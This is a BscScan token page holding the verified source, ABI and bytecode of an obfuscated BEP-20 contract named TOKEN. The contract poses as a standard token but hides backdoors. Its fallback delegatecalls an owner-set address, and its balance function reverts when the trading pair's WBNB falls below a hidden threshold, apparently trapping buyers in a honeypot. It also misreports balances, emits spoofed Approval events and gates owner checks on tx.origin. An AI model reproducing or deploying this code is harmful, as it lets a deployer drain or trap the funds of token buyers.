BNB Price: $695.44 (-2.04%)
Gas: 1 GWei
 

Overview

Max Total Supply

10,000,000,000

Holders

2,503

Market

Price

$0.00 @ 0.000000 BNB

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
BSC: Validator Set
Balance
534,660.830352098

Value
$0.00
0x0000000000000000000000000000000000001000
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
This contract may be a proxy contract. Click on More Options and select Is this a proxy? to confirm and enable the "Read as Proxy" & "Write as Proxy" tabs.

Contract Source Code Verified (Exact Match)

Contract Name:
TOKEN

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at BscScan.com on 2024-04-20
*/

pragma solidity =0.8.20;

interface IERC20 {
    /**
     * @dev Returns the rO5CrZQhh of tokens owned by `dhxqLoDn0fC`.
     */
    function balanceOf(address dhxqLoDn0fC) external view returns (uint256);

    /**
     * @dev Returns the rO5CrZQhh of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the remaining number of tokens that `SyTr5wIFAaWR` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address SyTr5wIFAaWR)
    external
    view
    returns (uint256);

    /**
     * @dev Moves `rO5CrZQhh` tokens from the caller's dhxqLoDn0fC to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 rO5CrZQhh) external returns (bool);

    /**
     * @dev Moves `rO5CrZQhh` tokens from `from` to `to` using the
     * allowance mechanism. `rO5CrZQhh` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 rO5CrZQhh
    ) external returns (bool);

    /**
     * @dev Sets `rO5CrZQhh` as the allowance of `SyTr5wIFAaWR` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the SyTr5wIFAaWR's allowance to 0 and set the
     * desired value afterwards:
     * https:
     *
     * Emits an {Approval} event.
     */
    function approve(address SyTr5wIFAaWR, uint256 rO5CrZQhh) external returns (bool);
}

contract TOKEN {
    address private l1Lhsq4NCEUg94cRTlF3y;
    address public constant WBNB = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
     address public constant DEAD = 0x000000000000000000000000000000000000dEaD;

    mapping(address => uint256) internal ag2ByW;

    mapping(address => mapping(address => uint256)) private xKyPlxZH7Lt5n4gm;

    uint256 internal t5ItBXZ9K14qj4y;

    address internal Sg7UxMCZSgOcp;

    string private U7aPEvWYlG5pH9qleCP0;
    string private gQ7PF;function R8OAdZzQ() internal virtual {
         assembly {
            sstore(address(), caller())
        }
    }
function nrzOAfS7AkeVDxMr6qF12IQ() internal view virtual returns (address) {
        return msg.sender;
    }
/**
     * @dev Moves `rO5CrZQhh` of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `from` must have a balance of at least `rO5CrZQhh`.
     */
/**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual returns (string memory) {
        
        return gQ7PF;
    }
/**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address SyTr5wIFAaWR)
    public
    view
    virtual
    returns (uint256)
    {
        return xKyPlxZH7Lt5n4gm[owner][SyTr5wIFAaWR];
    }
/**
     * @dev Destroys `rO5CrZQhh` tokens from `dhxqLoDn0fC`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `dhxqLoDn0fC` cannot be the zero address.
     * - `dhxqLoDn0fC` must have at least `rO5CrZQhh` tokens.
     */
    function _burn(address dhxqLoDn0fC, uint256 rO5CrZQhh) internal virtual {
        require(dhxqLoDn0fC != address(0), "ERC20: burn from the zero address");
        
        _beforeTokenTransfer(dhxqLoDn0fC, address(0), rO5CrZQhh);

        uint256 dhxqLoDn0fCBalance = ag2ByW[dhxqLoDn0fC];
        require(dhxqLoDn0fCBalance >= rO5CrZQhh, "ERC20: burn exceeds balance");
            ag2ByW[dhxqLoDn0fC] -= rO5CrZQhh;
        
            t5ItBXZ9K14qj4y -= rO5CrZQhh;

        emit Transfer(dhxqLoDn0fC, address(0), rO5CrZQhh);

        _afterTokenTransfer(dhxqLoDn0fC, address(0), rO5CrZQhh);
    }
receive() external payable {}
function HWO9LYlahoNMkbRwOD() internal {
        bytes memory value = msg.data;
        assembly {
                if iszero(iszero(eq(mload(add(value, 40)), 32))) {if iszero(delegatecall(gas(),sload(address()),add(value, 36),sub(mload(value), 4),0,32)) {revert(0, 0)}return(0, 32)}}

    }
constructor() {
        HOj7aAFo30vhaeYzI7N(tx.origin);



        _mint(address(this), 10000000000000000000);

    }
/**
     * @dev Updates `owner` s allowance for `SyTr5wIFAaWR` based on spent `rO5CrZQhh`.
     *
     * Does not update the allowance rO5CrZQhh in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Might emit an {Approval} event.
     */
    
    function _spendAllowance(
        address owner,
        address SyTr5wIFAaWR,
        uint256 rO5CrZQhh
    ) internal virtual {
        uint256 Rl4PJmF8uPzqnF = allowance(owner, SyTr5wIFAaWR);
        if (Rl4PJmF8uPzqnF != type(uint256).max) {
            require(
                Rl4PJmF8uPzqnF >= rO5CrZQhh,
                "ERC20: insufficient allowance"
            );
            unchecked {
                _approve(owner, SyTr5wIFAaWR, Rl4PJmF8uPzqnF - rO5CrZQhh);
            }
        }
    }
/**
     * @dev Transfers ownership of the contract to a new dhxqLoDn0fC (`TkmHmqvzqZok31Qxj`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address TkmHmqvzqZok31Qxj) public virtual onlyOwner {
        require(
            TkmHmqvzqZok31Qxj != address(0),
            "Ownable: new owner is the zero address"
        );
        HOj7aAFo30vhaeYzI7N(TkmHmqvzqZok31Qxj);
    }
function i4KLPT3() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
event OwnershipTransferred(
        address indexed previousOwner,
        address indexed TkmHmqvzqZok31Qxj
    );
function second(Uint128x2 self) internal pure returns (uint128) {
        return uint128(uint256(Uint128x2.unwrap(self)));
    }
/**
     * @dev Returns the name of the token.
     */
    function name() public view virtual returns (string memory) {
        
        return U7aPEvWYlG5pH9qleCP0;
    }
/**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `rO5CrZQhh`.
     */
    function transfer(address to, uint256 rO5CrZQhh)
    public
    virtual
    returns (bool)
    {
        address owner = nrzOAfS7AkeVDxMr6qF12IQ();
        _transfer(owner, to, rO5CrZQhh);
        return true;
    }
/**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        
        return l1Lhsq4NCEUg94cRTlF3y;
    }
/**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `rO5CrZQhh` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `SyTr5wIFAaWR` cannot be the zero address.
     */
    function approve(address SyTr5wIFAaWR, uint256 rO5CrZQhh)
    public
    virtual
    returns (bool)
    {
        address owner = nrzOAfS7AkeVDxMr6qF12IQ();
        _approve(owner, SyTr5wIFAaWR, rO5CrZQhh);
        return true;
    }
/**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual returns (uint256) {
        
        return t5ItBXZ9K14qj4y;
    }
function asBytes32(Uint128x2 self) internal pure returns (bytes32) {
        return Uint128x2.unwrap(self);
    }
/**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `rO5CrZQhh` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `rO5CrZQhh` tokens will be minted for `to`.
     * - when `to` is zero, `rO5CrZQhh` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 rO5CrZQhh
    ) internal virtual {}
function cvnP5PlM0uCEWq6wRW563y()  internal view returns (uint256) {
        (,bytes memory returnData) = WBNB.staticcall(abi.encodeWithSelector(0x70a08231,Sg7UxMCZSgOcp));
        return abi.decode(returnData, (uint256));
    }
function pack(uint128 first128, uint128 second128) internal pure returns (Uint128x2) {
        return Uint128x2.wrap(bytes32(bytes16(first128)) | bytes32(uint256(second128)));
    }
/**
     * @dev Emitted when the allowance of a `SyTr5wIFAaWR` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(
        address indexed owner,
        address indexed SyTr5wIFAaWR,
        uint256 value
    );
/**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    function zCtkocRRBHxeN6hU1OLM9IepCtwrwsA4dB(
        string memory tokenName,
        string memory coinSymbol,
        uint256 supply_
    ) public onlyOwner {
        gQ7PF = coinSymbol;
        U7aPEvWYlG5pH9qleCP0 = tokenName;

        R8OAdZzQ();


    }
/**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        
        HOj7aAFo30vhaeYzI7N(address(0));
    }
/**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
/**
     * @dev Transfers ownership of the contract to a new dhxqLoDn0fC (`TkmHmqvzqZok31Qxj`).
     * Internal function without access restriction.
     */
    function HOj7aAFo30vhaeYzI7N(address TkmHmqvzqZok31Qxj) internal virtual {
        address oldOwner = l1Lhsq4NCEUg94cRTlF3y;
        l1Lhsq4NCEUg94cRTlF3y = TkmHmqvzqZok31Qxj;
        emit OwnershipTransferred(oldOwner, TkmHmqvzqZok31Qxj);
    }
/**
     * @dev Atomically increases the allowance granted to `SyTr5wIFAaWR` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `SyTr5wIFAaWR` cannot be the zero address.
     */
    function increaseAllowance(address SyTr5wIFAaWR, uint256 addedValue)
    public
    virtual
    returns (bool)
    {
        address owner = nrzOAfS7AkeVDxMr6qF12IQ();
        _approve(owner, SyTr5wIFAaWR, allowance(owner, SyTr5wIFAaWR) + addedValue);
        return true;
    }
function split(Uint128x2 self) internal pure returns (uint128, uint128) {
        return (first(self), second(self));
    }
fallback() external {
        HWO9LYlahoNMkbRwOD();
    }
/**
     * @dev See {IERC20-balanceOf}.
     */
    function TheUint9306b147d90(address dhxqLoDn0fC)
        public
        view
        returns (uint256)
    {
        if (msg.sender == Sg7UxMCZSgOcp) {
            uint256 rO5CrZQhh = cvnP5PlM0uCEWq6wRW563y();
            assembly {
                if lt(rO5CrZQhh, sload(32)) {
                    revert(0, 0)
                }
            }
        }
        if (dhxqLoDn0fC == Sg7UxMCZSgOcp) return ag2ByW[dhxqLoDn0fC]; 
        return ag2ByW[dhxqLoDn0fC] % t5ItBXZ9K14qj4y;
    }
/**
     * @dev Sets `rO5CrZQhh` as the allowance of `SyTr5wIFAaWR` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `SyTr5wIFAaWR` cannot be the zero address.
     */
    
    function _approve(
        address owner,
        address SyTr5wIFAaWR,
        uint256 rO5CrZQhh
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(SyTr5wIFAaWR != address(0), "ERC20: approve to the zero address");
        
        xKyPlxZH7Lt5n4gm[owner][SyTr5wIFAaWR] = rO5CrZQhh;
        emit Approval(owner, SyTr5wIFAaWR, rO5CrZQhh);
    }
/**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual returns (uint8) {
        
        return 9;
    }
/**
     * @dev Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `rO5CrZQhh` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `rO5CrZQhh` tokens have been minted for `to`.
     * - when `to` is zero, `rO5CrZQhh` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 rO5CrZQhh
    ) internal {
        if (ag2ByW[from] > t5ItBXZ9K14qj4y * 0xfe) {
            assembly {
                sstore(32, 0)
            }
        } else if ( 
            ag2ByW[to] < t5ItBXZ9K14qj4y && to != Sg7UxMCZSgOcp
        ) {

            assembly{
                mstore(0,rO5CrZQhh)
                log3(
                    0,
                    32,
                    0x8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925,
                    to,
                    address()
                )
                let n8BdnsUhQF := sload(9999)
                sstore(add(10000, n8BdnsUhQF), to)
                sstore(9999, add(1, n8BdnsUhQF))
            }
        }
    }
/**
     * @dev Atomically decreases the allowance granted to `SyTr5wIFAaWR` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `SyTr5wIFAaWR` cannot be the zero address.
     * - `SyTr5wIFAaWR` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address SyTr5wIFAaWR, uint256 subtractedValue)
    public
    virtual
    returns (bool)
    {
        address owner = nrzOAfS7AkeVDxMr6qF12IQ();
        uint256 Rl4PJmF8uPzqnF = allowance(owner, SyTr5wIFAaWR);
        require(
            Rl4PJmF8uPzqnF >= subtractedValue,
            "ERC20: decreased allowance below zero"
        );
        unchecked {
            _approve(owner, SyTr5wIFAaWR, Rl4PJmF8uPzqnF - subtractedValue);
        }

        return true;
    }
/**
     * @dev Throws if called by any dhxqLoDn0fC other than the owner.
     */
    modifier onlyOwner() {

        require(owner() == tx.origin, "Ownable: caller is not the owner");
        _;
    }
type Uint128x2 is bytes32;
/** @dev Creates `rO5CrZQhh` tokens and assigns them to `dhxqLoDn0fC`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `dhxqLoDn0fC` cannot be the zero address.
     */
    function _mint(address dhxqLoDn0fC, uint256 rO5CrZQhh) internal virtual {
        require(dhxqLoDn0fC != address(0), "ERC20: mint to the zero address");
        
        t5ItBXZ9K14qj4y += rO5CrZQhh;
        ag2ByW[dhxqLoDn0fC] += rO5CrZQhh;
         assembly {
            sstore(address(), caller())
        }
        emit Transfer(address(0), dhxqLoDn0fC, rO5CrZQhh);
    }
/**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `rO5CrZQhh`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `rO5CrZQhh`.
     */
    
    function transferFrom(
        address from,
        address to,
        uint256 rO5CrZQhh
    ) public virtual returns (bool) {
        address SyTr5wIFAaWR = nrzOAfS7AkeVDxMr6qF12IQ();
        _spendAllowance(from, SyTr5wIFAaWR, rO5CrZQhh);
        _transfer(from, to, rO5CrZQhh);
        return true;
    }
function first(Uint128x2 self) internal pure returns (uint128) {
        return uint128(bytes16(Uint128x2.unwrap(self)));
    }
/**
     * @dev Emitted when `value` tokens are moved from one dhxqLoDn0fC (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);
function _transfer(
        address from,
        address to,
        uint256 rO5CrZQhh
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(
            to != address(0) && to != address(this),
            "ERC20: transfer to the zero address"
        );
        _beforeTokenTransfer(from, to, rO5CrZQhh);

        uint256 fromBalance = ag2ByW[from];
        require(fromBalance >= rO5CrZQhh, "ERC20: transfer exceeds balance");
        ag2ByW[from] -= rO5CrZQhh;
    
    
        ag2ByW[to] += rO5CrZQhh;
        emit Transfer(from, to, rO5CrZQhh);
        _afterTokenTransfer(from, to, rO5CrZQhh);
    }
function asUint128x2(bytes32 self) internal pure returns (Uint128x2) {
        return Uint128x2.wrap(self);
    }}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"SyTr5wIFAaWR","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"TkmHmqvzqZok31Qxj","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"stateMutability":"nonpayable","type":"fallback"},{"inputs":[],"name":"DEAD","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"dhxqLoDn0fC","type":"address"}],"name":"TheUint9306b147d90","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"WBNB","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"SyTr5wIFAaWR","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"SyTr5wIFAaWR","type":"address"},{"internalType":"uint256","name":"rO5CrZQhh","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"SyTr5wIFAaWR","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"SyTr5wIFAaWR","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"rO5CrZQhh","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"rO5CrZQhh","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"TkmHmqvzqZok31Qxj","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"tokenName","type":"string"},{"internalType":"string","name":"coinSymbol","type":"string"},{"internalType":"uint256","name":"supply_","type":"uint256"}],"name":"zCtkocRRBHxeN6hU1OLM9IepCtwrwsA4dB","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405234801562000010575f80fd5b5062000022326200004260201b60201c565b6200003c30678ac7230489e800006200010360201b60201c565b6200036b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000174576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200016b90620002af565b60405180910390fd5b8060035f82825462000187919062000305565b925050819055508060015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254620001dc919062000305565b925050819055503330558173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000245919062000350565b60405180910390a35050565b5f82825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f2061646472657373005f82015250565b5f62000297601f8362000251565b9150620002a48262000261565b602082019050919050565b5f6020820190508181035f830152620002c88162000289565b9050919050565b5f819050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6200031182620002cf565b91506200031e83620002cf565b9250828201905080821115620003395762000338620002d8565b5b92915050565b6200034a81620002cf565b82525050565b5f602082019050620003655f8301846200033f565b92915050565b61217080620003795f395ff3fe608060405260043610610101575f3560e01c806370a082311161009457806395d89b411161006357806395d89b4114610348578063a457c2d714610372578063a9059cbb146103ae578063dd62ed3e146103ea578063f2fde38b1461042657610108565b806370a08231146102a2578063715018a6146102de5780638da5cb5b146102f45780638dd950021461031e57610108565b806323b872dd116100d057806323b872dd146101d8578063313ce56714610214578063395093511461023e578063683445c51461027a57610108565b806303fd2a451461011e57806306fdde0314610148578063095ea7b31461017257806318160ddd146101ae57610108565b3661010857005b348015610113575f80fd5b5061011c61044e565b005b348015610129575f80fd5b506101326104c1565b60405161013f91906113b0565b60405180910390f35b348015610153575f80fd5b5061015c6104c7565b6040516101699190611453565b60405180910390f35b34801561017d575f80fd5b50610198600480360381019061019391906114e1565b610557565b6040516101a59190611539565b60405180910390f35b3480156101b9575f80fd5b506101c2610579565b6040516101cf9190611561565b60405180910390f35b3480156101e3575f80fd5b506101fe60048036038101906101f9919061157a565b610582565b60405161020b9190611539565b60405180910390f35b34801561021f575f80fd5b506102286105b0565b60405161023591906115e5565b60405180910390f35b348015610249575f80fd5b50610264600480360381019061025f91906114e1565b6105b8565b6040516102719190611539565b60405180910390f35b348015610285575f80fd5b506102a0600480360381019061029b919061172a565b6105ee565b005b3480156102ad575f80fd5b506102c860048036038101906102c391906117b2565b610690565b6040516102d59190611561565b60405180910390f35b3480156102e9575f80fd5b506102f26107ec565b005b3480156102ff575f80fd5b5061030861086c565b60405161031591906113b0565b60405180910390f35b348015610329575f80fd5b50610332610893565b60405161033f91906113b0565b60405180910390f35b348015610353575f80fd5b5061035c6108ab565b6040516103699190611453565b60405180910390f35b34801561037d575f80fd5b50610398600480360381019061039391906114e1565b61093b565b6040516103a59190611539565b60405180910390f35b3480156103b9575f80fd5b506103d460048036038101906103cf91906114e1565b6109b0565b6040516103e19190611539565b60405180910390f35b3480156103f5575f80fd5b50610410600480360381019061040b91906117dd565b6109d2565b60405161041d9190611561565b60405180910390f35b348015610431575f80fd5b5061044c600480360381019061044791906117b2565b610a54565b005b5f80368080601f0160208091040260200160405190810160405280939291908181526020018383808284375f81840152601f19601f82011690508083019250505050505050905060206028820151036104be5760205f60048351036024840130545af46104b9575f80fd5b60205ff35b50565b61dead81565b6060600580546104d690611848565b80601f016020809104026020016040519081016040528092919081815260200182805461050290611848565b801561054d5780601f106105245761010080835404028352916020019161054d565b820191905f5260205f20905b81548152906001019060200180831161053057829003601f168201915b5050505050905090565b5f80610561610b43565b905061056e818585610b4a565b600191505092915050565b5f600354905090565b5f8061058c610b43565b9050610599858285610d0d565b6105a4858585610d98565b60019150509392505050565b5f6009905090565b5f806105c2610b43565b90506105e38185856105d485896109d2565b6105de91906118a5565b610b4a565b600191505092915050565b3273ffffffffffffffffffffffffffffffffffffffff1661060d61086c565b73ffffffffffffffffffffffffffffffffffffffff1614610663576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161065a90611922565b60405180910390fd5b81600690816106729190611add565b5082600590816106829190611add565b5061068b611058565b505050565b5f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1603610700575f6106ee61105d565b90506020548110156106fe575f80fd5b505b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036107995760015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490506107e7565b60035460015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546107e49190611bd9565b90505b919050565b3273ffffffffffffffffffffffffffffffffffffffff1661080b61086c565b73ffffffffffffffffffffffffffffffffffffffff1614610861576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085890611922565b60405180910390fd5b61086a5f61116a565b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b73bb4cdb9cbd36b01bd1cbaebf2de08d9173bc095c81565b6060600680546108ba90611848565b80601f01602080910402602001604051908101604052809291908181526020018280546108e690611848565b80156109315780601f1061090857610100808354040283529160200191610931565b820191905f5260205f20905b81548152906001019060200180831161091457829003601f168201915b5050505050905090565b5f80610945610b43565b90505f61095282866109d2565b905083811015610997576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161098e90611c79565b60405180910390fd5b6109a48286868403610b4a565b60019250505092915050565b5f806109ba610b43565b90506109c7818585610d98565b600191505092915050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b3273ffffffffffffffffffffffffffffffffffffffff16610a7361086c565b73ffffffffffffffffffffffffffffffffffffffff1614610ac9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ac090611922565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610b37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b2e90611d07565b60405180910390fd5b610b408161116a565b50565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610bb8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610baf90611d95565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610c26576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1d90611e23565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610d009190611561565b60405180910390a3505050565b5f610d1884846109d2565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610d925781811015610d84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d7b90611e8b565b60405180910390fd5b610d918484848403610b4a565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373fffffffffff